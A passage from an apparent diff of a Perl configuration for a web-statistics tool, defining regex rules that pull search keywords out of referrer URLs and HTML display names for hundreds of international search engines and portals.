store keyword as page instead of query parameter +#------------------------------------------------------------------------------ +%SearchEnginesWithKeysNotInQuery=( +'a9',1, # www.a9.com/searchkey1%20searchkey2 +'iminent',1 #http://start.iminent.com/StartWeb/1031/toolbox/#q=searchkey1%20searchkey2&additional_arguments +); + +# SearchEnginesKnownUrl +# Known rules to extract keywords from a referrer search engine URL +#------------------------------------------------------------------------------ +%SearchEnginesKnownUrl=( +# Most common search engines +'alexa','q=', +'alltheweb','q(|uery)=', +'altavista','q=', +'a9','a9\.com\/', +'dmoz','search=', +'google_products','(p|q|as_p|as_q)=', +'google_base','(p|q|as_p|as_q)=', +'google_froogle','(p|q|as_p|as_q)=', +'google_groups','group\/', # does not work +'google_image','(p|q|as_p|as_q)=', +'google_cache','(p|q|as_p|as_q)=cache:[0-9A-Za-z]{12}:', +'google','(p|q|as_p|as_q)=', +'lycos','query=', +'msn','q=', +'live','q=', +'bing','q=', +'netscape','search=', +'tiscali','key=', +'aol','query=', +'terra','query=', +'voila','(kw|rdata)=', +'search.com','q=', +'yahoo_mindset','p=', +'yahoo','p=', +'sympatico', 'query=', +'excite','search=', +# Minor international search engines +'google4counter','(p|q|as_p|as_q)=', +'att','qry=', +'bungeebonesdotcom','query=', +'go','qt=', +'askde','(ask|q)=', # break out Ask country specific engines. +'askes','(ask|q)=', +'askfr','(ask|q)=', +'askit','(ask|q)=', +'asknl','(ask|q)=', +'ask','(ask|q)=', +'atomz','sp-q=', +'euroseek','query=', +'findarticles','key=', +'go2net','general=', +'hotbot','mt=', +'infospace','qkw=', +'kvasir', 'q=', +'looksmart','key=', +'mamma','query=', +'metacrawler','general=', +'nbci','keyword=', +'northernlight','qr=', +'overture','keywords=', +'dogpile', 'q(|kw)=', +'spray','string=', +'teoma','q=', +'webcrawler','searchText=', +'wisenut','query=', +'ixquick', 'query=', +'earthlink', 'q=', +'iune','(keywords|q)=', +'blingo','q=', +'centraldatabase','query=', +'clusty','query=', +'mysearch','searchfor=', +'vivisimo','query=', +# kartoo: No keywords passed in referring URL. +'kartoo','', +'icerocket','q=', +'sphere','q=', +'ledix','q=', +'shawca','q=', +'searchalot','q=', +'copernic','web\/', +'avantfind','keywords=', +'steadysearch','w=', +'clarosearch','q=', +'searchresults','q=', +'holasearch', 'q=', +'conduit', 'q=', +'flipora', 'q=', +'delta-search', 'q=', +'iminent', 'q=', +'searchmobileonline', 'q=', +'nortonsavesearch', 'q=', +# Chello Portals +'chelloat','q1=', +'chellobe','q1=', +'chellocz','q1=', +'chellofr','q1=', +'chellohu','q1=', +'chellonl','q1=', +'chellono','q1=', +'chellopl','q1=', +'chellose','q1=', +'chellosk','q1=', +'chellocom','q1=', +# Mirago +'miragobe','(txtsearch|qry)=', +'miragoch','(txtsearch|qry)=', +'miragode','(txtsearch|qry)=', +'miragodk','(txtsearch|qry)=', +'miragoes','(txtsearch|qry)=', +'miragofr','(txtsearch|qry)=', +'miragoit','(txtsearch|qry)=', +'miragonl','(txtsearch|qry)=', +'miragono','(txtsearch|qry)=', +'miragose','(txtsearch|qry)=', +'miragocouk','(txtsearch|qry)=', +'mirago','(txtsearch|qry)=', +'answerbus','', # Does not provide query parameters +'icq','q=', +'nusearch','nusearch_terms=', +'goodsearch','Keywords=', +'scroogle','Gw=', # Does not always provide query parameters +'questionanswering','', +'mywebsearch','searchfor=', +'comettoolbar','qry=', +# Social Bookmarking Services +'delicious','all=', +'digg','s=', +'stumbleupon','', +'swik','swik\.net/', # does not work. Keywords follow domain, e.g. http://swik.net/awstats+analytics +'segnalo','', +'ineffabile','', +# Minor Australian search engines +'anzwers','search=', +# Minor brazilian search engines +'engine','p1=', 'miner','q=', +# Minor chinese search engines +'baidu','(wd|word)=', +'iask','(w|k)=', +'accoona','qt=', +'3721','(p|name)=', +'netease','q=', +'soso','q=', +'zhongsou','(word|w)=', +'sogou', 'query=', +'vnet','kw=', +# Minor czech search engines +'atlas','(searchtext|q)=', 'seznam','(w|q)=', 'quick','query=', 'centrum','q=', 'jyxo','(s|q)=', 'najdi','dotaz=', 'redbox','srch=', +'avgsearch', 'q=', +# Minor danish search engines +'opasia','q=', 'danielsen','q=', 'sol','q=', 'jubii','soegeord=', 'finddk','words=', 'edderkoppen','query=', 'orbis','search_field=', '1klik','query=', 'ofir','querytext=', +# Minor dutch search engines +'ilse','search_for=', 'vindex','in=', +# Minor english search engines +'askuk','(ask|q)=', 'bbc','q=', 'freeserve','q=', 'looksmartuk','key=', +'splut','pattern=', 'spotjockey','Search_Keyword=', 'ukindex', 'stext=', 'ukdirectory','k=', 'ukplus','search=', 'searchy', 'search_term=', +'fbdownloader','q=', +'babylon','q=', +# Minor finnish search engines +'haku','w=', +# Minor french search engines +'francite','name=', 'clubinternet', 'q=', +'toile', 'q=', +'biglotron','question=', +'mozbot','q=', +# Minor german search engines +'aolde','q=', +'o2aolde', 'q=', +'fireball','q=', 'infoseek','qt=', 'webde','su=', +'abacho','q=', 't-online','q=', +'metaspinner','qry=', +'metacrawler_de','qry=', +'wwweasel','q=', +'netluchs','query=', +'schoenerbrausen','q=', +'gmxsuche', 'q=', +'ecosiasearch', 'q=', +'aolsearch', 'q=', +'aolsuche', 'q=', +'startxxl', 'q=', +'benefind', 'q=', +# Minor Hungarian search engines +'heureka','heureka=', 'origo','(q|search)=', 'goliat','KERESES=', 'wahoo','q=', 'internetto','searchstr=', +'keresolap_hu','q=', +'tango_hu','q=', +'polymeta_hu','', +# Minor Indian search engines +'sify','keyword=', +# Minor Italian search engines +'virgilio','qs=', +'arianna','query=', +'supereva','q=', +'kataweb','q=', +'aliceitmaster','qs=', +'aliceit','qs=', +'gotuneed','', # Not yet known +'godado','Keywords=', +'jumpy\.it','searchWord=', +'shinyseek\.it','KEY=', +'teecnoit','q=', +# Minor Israeli search engines +'genieo','q=', +# Minor Japanese search engines +'askjp','(ask|q)=', +'sagool','q=', +# Minor Norwegian search engines +'start','q=', 'eniro','q=', +# Minor Polish search engines +'wp','szukaj=', +'onetpl','qt=', +'dodajpl','keyword=', +'gazetapl','slowo=', +'gerypl','q=', +'hogapl','qt=', +'netsprintpl','q=', +'interiapl','q=', +'katalogonetpl','qt=', +'o2pl','qt=', +'polskapl','qt=', +'szukaczpl','q=', +'wowpl','q=', +# Minor russian search engines +'yandex', 'text=', 'rambler','words=', 'aport', 'r=', 'metabot', 'st=', +# Minor swedish search engines +'passagen','q=', +'enirose','q=', +# Minor swiss search engines +'searchch', 'q=', 'bluewin', 'qry=', +# Minor Croatian, Serbian, Macedonian, Bosnian and Herzegovinian search engines +'pogodak', 'q=' +); + +# SearchEnginesKnownUrlNotFound +# Known rules to extract not found keywords from a referrer search engine URL +#------------------------------------------------------------------------------ +%SearchEnginesKnownUrlNotFound=( +# Most common search engines +'msn','origq=' +); + +# If no rules are known, WordsToExtractSearchUrl will be used to search keyword parameter +# If no rules are known and search in WordsToExtractSearchUrl failed, this will be used to clean URL of not keyword parameters. +#------------------------------------------------------------------------------ +@WordsToExtractSearchUrl= ('tn=','ie=','ask=','claus=','general=','key=','kw=','keyword=','keywords=','MT=','p=','q=','qr=','qt=','query=','s=','search=','searchText=','string=','su=','txtsearch=','w='); +@WordsToCleanSearchUrl= ('act=','annuaire=','btng=','cat=','categoria=','cfg=','cof=','cou=','count=','cp=','dd=','domain=','dt=','dw=','enc=','exec=','geo=','hc=','height=','hits=','hl=','hq=','hs=','id=','kl=','lang=','loc=','lr=','matchmode=','medor=','message=','meta=','mode=','order=','page=','par=','pays=','pg=','pos=','prg=','qc=','refer=','sa=','safe=','sc=','sort=','src=','start=','style=','stype=','sum=','tag=','temp=','theme=','type=','url=','user=','width=','what=','\\.x=','\\.y=','y=','look='); + +# SearchEnginesKnownUTFCoding +# Known parameter that proves a search engine has coded its parameters in UTF-8 +#------------------------------------------------------------------------------ +%SearchEnginesKnownUTFCoding=( +# Most common search engines +'google','ie=utf-8', +'alltheweb','cs=utf-8' +); + + +# SearchEnginesHashLib +# List of search engines names +# 'search_engine_id', 'search_engine_name', +#------------------------------------------------------------------------------ +%SearchEnginesHashLib=( +# Major international search engines +'alexa','<a href="http://www.alexa.com/" title="Search Engine Home Page [new window]" target="_blank">Alexa</a>', +'alltheweb','<a href="http://www.alltheweb.com/" title="Search Engine Home Page [new window]" target="_blank">AllTheWeb</a>', +'altavista','<a href="http://www.altavista.com/" title="Search Engine Home Page [new window]" target="_blank">AltaVista</a>', +'a9', '<a href="http://www.a9.com/" title="Search Engine Home Page [new window]" target="_blank">A9</a>', +'dmoz','<a href="http://dmoz.org/" title="Search Engine Home Page [new window]" target="_blank">DMOZ</a>', +'google_products','<a href="http://www.google.com/products" title="Search Engine Home Page [new window]" target="_blank">Google (Products)</a>', +'google_base','<a href="http://base.google.com/" title="Search Engine Home Page [new window]" target="_blank">Google (Base)</a>', +'google_froogle','<a href="http://froogle.google.com/" title="Search Engine Home Page [new window]" target="_blank">Froogle (Google)</a>', +'google_groups','<a href="http://groups.google.com/" title="Search Engine Home Page [new window]" target="_blank">Google (Groups)</a>', +'google_image','<a href="http://images.google.com/" title="Search Engine Home Page [new window]" target="_blank">Google (Images)</a>', +'google_cache','<a href="http://www.google.com/help/features.html#cached" title="Search Engine Home Page [new window]" target="_blank">Google (cache)</a>', +'google','<a href="http://www.google.com/" title="Search Engine Home Page [new window]" target="_blank">Google</a>', +'lycos','<a href="http://www.lycos.com/" title="Search Engine Home Page [new window]" target="_blank">Lycos</a>', +'msn','<a href="http://search.msn.com/" title="Search Engine Home Page [new window]" target="_blank">Microsoft MSN Search</a>', +'live','<a href="http://www.live.com/" title="Search Engine Home Page [new window]" target="_blank">Microsoft Windows Live</a>', +'bing','<a href="http://www.bing.com/" title="Search Engine Home Page [new window]" target="_blank">Microsoft Bing</a>', +'netscape','<a href="http://www.netscape.com/" title="Search Engine Home Page [new window]" target="_blank">Netscape</a>', +'aol','<a href="http://www.aol.com/" title="Search Engine Home Page [new window]" target="_blank">AOL</a>', +'terra','<a href="http://www.terra.es/" title="Search Engine Home Page [new window]" target="_blank">Terra</a>', +'tiscali','<a href="http://search.tiscali.com/" title="Search Engine Home Page [new window]" target="_blank">Tiscali</a>', +'voila','<a href="http://www.voila.fr/" title="Search Engine Home Page [new window]" target="_blank">Voila</a>', +'search.com','<a href="http://www.search.com/" title="Search Engine Home Page [new window]" target="_blank">Search.com</a>', +'yahoo_mindset','<a href="http://mindset.research.yahoo.com/" title="Search Engine Home Page [new window]" target="_blank">Yahoo! Mindset</a>', +'yahoo','<a href="http://www.yahoo.com/" title="Search Engine Home Page [new window]" target="_blank">Yahoo!</a>', +'sympatico','<a href="http://sympatico.msn.ca/" title="Search Engine Home Page [new window]" target="_blank">Sympatico</a>', +'excite','<a href="http://www.excite.com/" title="Search Engine Home Page [new window]" target="_blank">Excite</a>', +# Minor international search engines +'google4counter','<a href="http://www.4-counter.com/" title="Search Engine Home Page [new window]" target="_blank">4-counter (Google)</a>', +'att','<a href="http://www.att.net/" title="Search Engine Home Page [new window]" target="_blank">AT&T search (powered by Google)</a>', +'bungeebonesdotcom','<a href="http://BungeeBones.com/search.php/" title="Search Engine Home Page [new window]" target="_blank">BungeeBones</a>', +'go','Go.com', +'askde','<a href="http://de.ask.com/" title="Search Engine Home Page [new window]" target="_blank">Ask Deutschland</a>', +'askes','<a href="http://es.ask.com/" title="Search Engine Home Page [new window]" target="_blank">Ask España</a>', # break out Ask country specific engines. +'askfr','<a href="http://fr.ask.com/" title="Search Engine Home Page [new window]" target="_blank">Ask France</a>', +'askit','<a href="http://it.ask.com/" title="Search Engine Home Page [new window]" target="_blank">Ask Italia</a>', +'asknl','<a href="http://nl.ask.com/" title="Search Engine Home Page [new window]" target="_blank">Ask Nederland</a>', +'ask','<a href="http://www.ask.com/" title="Search Engine Home Page [new window]" target="_blank">Ask</a>', +'atomz','Atomz', +'dejanews','DejaNews', +'euroseek','Euroseek', +'findarticles','Find Articles', +'go2net','Go2Net (Metamoteur)', +'hotbot','Hotbot', +'infospace','InfoSpace', +'kvasir','Kvasir', +'looksmart','Looksmart', +'mamma','Mamma', +'metacrawler','MetaCrawler (Metamoteur)', +'nbci','NBCI', +'northernlight','NorthernLight', +'overture','Overture', # Replace 'goto\.com','Goto.com', +'dogpile','<a href="http://www.dogpile.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Dogpile</a>', +'spray','Spray', +'teoma','<a href="http://search.ask.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Teoma</a>', # Replace 'directhit\.com','DirectHit', +'webcrawler','<a href="http://www.webcrawler.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">WebCrawler</a>', +'wisenut','WISENut', +'ixquick','<a href="http://www.ixquick.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">ix quick</a>', +'earthlink', 'Earth Link', +'iune','<a href="http://www.i-une.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">i-une</a>', +'blingo','<a href="http://www.blingo.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Blingo</a>', +'centraldatabase','<a href="http://search.centraldatabase.org/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">GPU p2p search</a>', +'clusty','<a href="http://www.clusty.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Clusty</a>', +'mysearch','<a href="http://www.mysearch.com" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">My Search</a>', +'vivisimo','<a href="http://www.vivisimo.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Vivisimo</a>', +'kartoo','<a href="http://www.kartoo.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Kartoo</a>', +'icerocket','<a href="http://www.icerocket.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Icerocket (Blog)</a>', +'sphere','<a href="http://www.sphere.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Sphere (Blog)</a>', +'ledix','<a href="http://www.ledix.net/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Ledix</a>', +'shawca','<a href="http://start.shaw.ca/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Shaw.ca</a>', +'searchalot','<a href="http://www.searchalot.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Searchalot</a>', +'copernic','<a href="http://www.copernic.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Copernic</a>', +'avantfind','<a href="http://www.avantfind.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Avantfind</a>', +'steadysearch','<a href="http://www.avantfind.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Avantfind</a>', +'clarosearch','<a href="http://www.claro-search.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Claro Search</a>', +'searchresults','<a href="http://www1.search-results.com/" rel="nofollow" title="Search-results Home Page [new window]" target="_blank">Search-results</a>', +'holasearch', '<a href="http://www.holasearch.com" rel="nofollow" title="Hola Search Home Page [new window]" target="_blank">Hola Search</a>', +'conduit', '<a href="http://search.conduit.com" rel="nofollow" title="Conduit Search Home Page [new window]" target="_blank">Conduit Search</a>', +'flipora', '<a href="http://static.flipora.com/" rel="nofollow" title="Flipora Home Page [new window]" target="_blank">Flipora</a>', +'delta-search', '<a href="http://www.delta-search.com/" rel="nofollow" title="Delta Search Home Page [new window]" target="_blank">Delta Search</a>', +'iminent', '<a href="http://start.iminent.com/" rel="nofollow" title="Iminent Home Page [new window]" target="_blank">Iminent</a>', +'searchmobileonline', '<a href="http://www.searchmobileonline.com/" rel="nofollow" title="Search Mobile Online (StartApp) Home Page [new window]" target="_blank">Search Mobile Online (StartApp)</a>', +'nortonsavesearch', '<a href="http://int.search-results.com/" rel="nofollow" title="Norton Safe Search Home Page [new window]" target="_blank">Norton Safe Search</a>', +# Chello Portals +'chelloat','<a href="http://www.chello.at/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Austria</a>', +'chellobe','<a href="http://www.chello.be/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Belgium</a>', +'chellocz','<a href="http://www.chello.cz/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Czech Republic</a>', +'chellofr','<a href="http://www.chello.fr/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello France</a>', +'chellohu','<a href="http://www.chello.hu/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Hungary</a>', +'chellonl','<a href="http://www.chello.nl/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Netherlands</a>', +'chellono','<a href="http://www.chello.no/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Norway</a>', +'chellopl','<a href="http://www.chello.pl/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Poland</a>', +'chellose','<a href="http://www.chello.se/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Sweden</a>', +'chellosk','<a href="http://www.chello.sk/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello Slovakia</a>', +'chellocom','<a href="http://www.chello.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Chello (Country not recognized)</a>', +# Mirago +'miragobe','<a href="http://www.mirago.be/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Belgium</a>', +'miragoch','<a href="http://www.mirago.ch/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Switzerland</a>', +'miragode','<a href="http://www.mirago.de/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Germany</a>', +'miragodk','<a href="http://www.mirago.dk/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Denmark</a>', +'miragoes','<a href="http://es.mirago.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Spain</a>', +'miragofr','<a href="http://www.mirago.fr/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago France</a>', +'miragoit','<a href="http://www.mirago.it/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Italy</a>', +'miragonl','<a href="http://www.mirago.nl/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Netherlands</a>', +'miragono','<a href="http://no.mirago.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Norway</a>', +'miragose','<a href="http://www.mirago.se/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago Sweden</a>', +'miragocouk','<a href="http://zone.mirago.co.uk/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago UK</a>', +'mirago','<a href="http://www.mirago.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mirago (country unknown)</a>', +'answerbus','<a href="http://www.answerbus.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Answerbus</a>', +'icq','<a href="http://www.icq.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">icq</a>', +'nusearch','<a href="http://www.nusearch.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Nusearch</a>', +'goodsearch','<a href="http://www.goodsearch.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">GoodSearch</a>', +'scroogle','<a href="http://www.scroogle.org/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Scroogle</a>', +'questionanswering','<a href="http://www.questionanswering.com/" rel="nofollow" title="Questionanswering home page [new window]" target="_blank">Questionanswering</a>', +'mywebsearch','<a href="http://search.mywebsearch.com/" rel="nofollow" title="MyWebSearch home page [new window]" target="_blank">MyWebSearch</a>', +'comettoolbar','<a href="http://as.starware.com/dp/search" rel="nofollow" title="Comet toolbar search home page [new window]" target="_blank">Comet toolbar search</a>', +# Social Bookmarking Services +'delicious','<a href="http://del.icio.us/" rel="nofollow" title="del.icio.us home page [new window]" target="_blank">del.icio.us</a> (Social Bookmark)', +'digg','<a href="http://www.digg.com/" rel="nofollow" title="Digg home page [new window]" target="_blank">Digg</a> (Social Bookmark)', +'stumbleupon','<a href="http://www.stumbleupon.com/" rel="nofollow" title="Stumbleupon home page [new window]" target="_blank">Stumbleupon</a> (Social Bookmark)', +'swik','<a href="http://swik.net/" rel="nofollow" title="Swik home page [new window]" target="_blank">Swik</a> (Social Bookmark)', +'segnalo','<a href="http://segnalo.alice.it/" rel="nofollow" title="Segnalo home page [new window]" target="_blank">Segnalo</a> (Social Bookmark)', +'ineffabile','<a href="http://www.ineffabile.it/" rel="nofollow" title="Ineffabile.it home page [new window]" target="_blank">Ineffabile.it</a> (Social Bookmark)', +# Minor Australian search engines +'anzwers','<a href="http://anzwers.com.au/" rel="nofollow" title="anzwers.com.au home page [new window]" target="_blank">anzwers.com.au</a>', +# Minor brazilian search engines +'engine','Cade', 'miner','Meta Miner', +# Minor chinese search engines +'baidu','<a href="http://www.baidu.com/" rel="nofollow" target="_blank">Baidu</a>', +'iask','<a href="http://www.iask.com/" rel="nofollow" target="_blank">Iask</a>', +'accoona','<a href="http://cn.accoona.com" rel="nofollow" target="_blank">Accoona</a>', +'3721','<a href="http://www.3721.com/" rel="nofollow" target="_blank">3721</a>', +'netease', '<a href="http://www.163.com/" rel="nofollow" target="_blank">NetEase</a>', +'soso','<a href="http://www.soso.com/" rel="nofollow" target="_blank">SoSo</a>', +'zhongsou','<a href="http://www.zhongsou.com/" rel="nofollow" target="_blank">ZhongSou</a>', +'sogou', '<a href="http://www.sogou.com/" rel="nofollow" target="_blank">SoGou</a>', +'vnet','<a href="http://114.vnet.cn/" rel="nofollow" target="_blank">VNet</a>', +# Minor czech search engines +'atlas','Atlas.cz', 'seznam','Seznam', 'quick','Quick.cz', 'centrum','Centrum.cz', 'jyxo','Jyxo.cz', 'najdi','Najdi.to', 'redbox','RedBox.cz', +'avgsearch', '<a href="http://isearch.avg.com" rel="nofollow" target="_blank">AVG Secure Search</a>', +# Minor danish search-engines +'opasia','Opasia', 'danielsen','Thor (danielsen.com)', 'sol','SOL', 'jubii','Jubii', 'finddk','Find', 'edderkoppen','Edderkoppen', 'netstjernen','Netstjernen', 'orbis','Orbis', 'tyfon','Tyfon', '1klik','1Klik', 'ofir','Ofir', +# Minor dutch search engines +'ilse','Ilse','vindex','Vindex\.nl', +# Minor english search engines +'askuk','<a href="http://uk.ask.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Ask UK</a>', +'bbc','BBC', 'freeserve','Freeserve', 'looksmartuk','Looksmart UK', +'splut','Splut', 'spotjockey','Spotjockey', 'ukdirectory','UK Directory', 'ukindex','UKIndex', 'ukplus','UK Plus', 'searchy','searchy.co.uk', +'fbdownloader','<a href="http://search.fbdownloader.com/" rel="nofollow" title="FBDownloader Home Page [new window]" target="_blank">FBDownloader</a>', +'babylon','<a href="http://search.babylon.com/" rel="nofollow" title="Babylon Home Page [new window]" target="_blank">Babylon</a>', +# Minor finnish search engines +'haku','Ihmemaa', +# Minor french search engines +'aolfr','AOL (fr)', 'ctrouve','C\'est trouve', 'francite','Francite', 'lbb', 'LBB', 'libertysurf', 'Libertysurf', 'free', 'Free.fr', 'clubinternet', 'Club-internet', +'toile', 'Toile du Quebec', +'biglotron','<a href="http://www.biglotron.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Biglotron</a>', +'mozbot','<a href="http://www.mozbot.fr/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Mozbot</a>', +# Minor German search engines +'aolde','AOL (de)', +'o2aolde', '<a href="http://o2suche.aol.de/aol/search" rel="nofollow" title="o2 Suche Home Page [new window]" target="_blank">o2 Suche</a>', +'fireball','Fireball', 'infoseek','Infoseek', 'webde','Web.de', +'abacho','Abacho', 't-online','T-Online', +'allesklar','allesklar.de', 'meinestadt','meinestadt.de', +'metaspinner','metaspinner', +'metacrawler_de','metacrawler.de', +'wwweasel','<a href="http://wwweasel.de/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">WWWeasel</a>', +'netluchs','<a href="http://www.netluchs.de/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Netluchs</a>', +'schoenerbrausen','<a href="http://www.schoenerbrausen.de/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Schoenerbrausen/</a>', +'gmxsuche', '<a href="http://suche.gmx.net/" rel="nofollow" title="GMX Suche Home Page [new window]" target="_blank">GMX Suche</a>', +'ecosiasearch', '<a href="http://ecosia.org" rel="nofollow" title="Ecosia Search Home Page [new window]" target="_blank">Ecosia Search</a>', +'aolsearch', '<a href="http://de.aolsearch.com/" rel="nofollow" title="AOL Search Home Page [new window]" target="_blank">AOL Search</a>', +'aolsuche', '<a href="http://suche.aol.de/" rel="nofollow" title="AOL Suche Home Page [new window]" target="_blank">AOL Suche</a>', +'startxxl', '<a href="http://www.startxxl.com/" rel="nofollow" title="StartXXL Home Page [new window]" target="_blank">StartXXL</a>', +'benefind', '<a href="http://www.benefind.de/" rel="nofollow" title="benefind Home Page [new window]" target="_blank">benefind</a>', +# Minor hungarian search engines +'heureka','Heureka', 'origo','Origo-Vizsla', 'lapkereso','Startlapkereso', 'goliat','Goliat', 'indexhu','Index', 'wahoo','Wahoo', 'webmania','webmania.hu', 'internetto','Internetto Kereso', +'tango_hu','<a href="http://tango.hu/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Tango</a>', +'keresolap_hu','<a href="http://keresolap.hu/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Tango keresolap</a>', +'polymeta_hu','<a href="http://www.polymeta.hu/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Polymeta</a>', +# Minor Indian search engines +'sify','<a href="http://search.sify.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Sify</a>', +# Minor Italian search engines +'virgilio','<a href="http://www.virgilio.it/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Virgilio</a>', +'arianna','<a href="http://arianna.libero.it/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Arianna</a>', +'supereva','<a href="http://search.supereva.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Supereva</a>', +'kataweb','<a href="http://www.kataweb.it/ricerca/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Kataweb</a>', +'aliceitmaster','<a href="http://www.alice.it/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">search.alice.it.master</a>', +'aliceit','<a href="http://www.alice.it/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">alice.it</a>', +'gotuneed','<a href="http://www.gotuneed.com/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">got u need</a>', +'godado','Godado.it', +'jumpy\.it','Jumpy.it', +'shinyseek\.it','Shinyseek.it', +'teecnoit','<a href="http://www.teecno.it/" rel="nofollow" title="Teecno home page [new window]" target="_blank">Teecno</a>', +# Minor Israeli search engines +'genieo','<a href="http://search.genieo.com/" rel="nofollow" title="Genieo home page [new window]" target="_blank">Genieo</a>', +# Minor Japanese search engines +'askjp','<a href="http://www.ask.jp/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Ask Japan</a>', +'sagool','<a href="http://sagool.jp/" rel="nofollow" title="Sagool home page [new window]" target="_blank">Sagool</a>', +# Minor Norwegian search engines +'start','start.no', 'eniro','<a href="http://www.eniro.no/" rel="nofollow" title="Search Engine Home Page [new window]" target="_blank">Eniro</a>', +# Minor polish search engines +'wp','<a href="http://szukaj.wp.pl/" rel="nofollow" title="Wirtualna Polska home page [new window]" target="_blank">Wirtualna Polska</a>', +'onetpl','<a href="http://szukaj.onet.pl/" rel="nofollow" title="Onet.pl home page [new window]" target="_blank">Onet.pl</a>', +'dodajpl','<a href="http://www.dodaj.pl/" rel="nofollow" title="Dodaj.pl home page [new window]" target="_blank">Dodaj.pl</a>', +'gazetapl','<a href="http://szukaj.gazeta.pl/" rel="nofollow" title="Gazeta.pl home page [new window]" target="_blank">Gazeta.pl</a>', +'gerypl','<a href="http://szukaj.gery.pl/" rel="nofollow" title="Gery.pl home page [new window]" target="_blank">Gery.pl</a>', +'hogapl','<a href="http://www.hoga.pl/" rel="nofollow" title="Hoga.pl home page [new window]" target="_blank">Hoga.pl</a>', +'netsprintpl','<a href="http://www.netsprint.pl/" rel="nofollow" title="NetSprint.pl home page [new window]" target="_blank">NetSprint.pl</a>', +'interiapl','<a href="http://www.google.interia.pl/" rel="nofollow" title="Interia.pl home page [new window]" target="_blank">Interia.pl</a>', +'katalogonetpl','<a href="http://katalog.onet.pl/" rel="nofollow" title="Katalog.Onet.pl home page [new window]" target="_blank">Katalog.Onet.pl</a>', +'o2pl','<a href="http://szukaj2.o2.pl/" rel="nofollow" title="o2.pl home page [new window]" target="_blank">o2.pl</a>', +'polskapl','<a href="http://szukaj.polska.pl/" rel="nofollow" title="Polska home page [new window]" target="_blank">Polska</a>', +'szukaczpl','<a href="http://www.szukacz.pl/" rel="nofollow" title="Szukacz home page [new window]" target="_blank">Szukacz</a>', +'wowpl','<a href="http://szukaj.wow.pl/" rel="nofollow" title="Wow.pl home page [new window]" target="_blank">Wow.pl</a>', +# Minor russian search engines +'yandex', 'Yandex', 'aport', 'Aport', 'rambler', 'Rambler', 'turtle', 'Turtle', 'metabot', 'MetaBot', +# Minor Swedish search engines +'passagen','Evreka', +'enirose','<a href="http://www.eniro.se/" rel="nofollow" title="Eniro Sverige home page [new window]" target="_blank">Eniro Sverige</a>', +# Minor Slovak search engines +'zoznam','<a href="http://www.zoznam.sk/" rel="nofollow" title="Zoznam search engine home page [new window]" target="_blank">Zoznam</a>', +# Minor Portuguese search engines +'sapo','<a href="http://www.sapo.pt/" rel="nofollow" title="Sapo search engine home page [new window]" target="_blank">Sapo</a>', +# Minor Swiss search engines 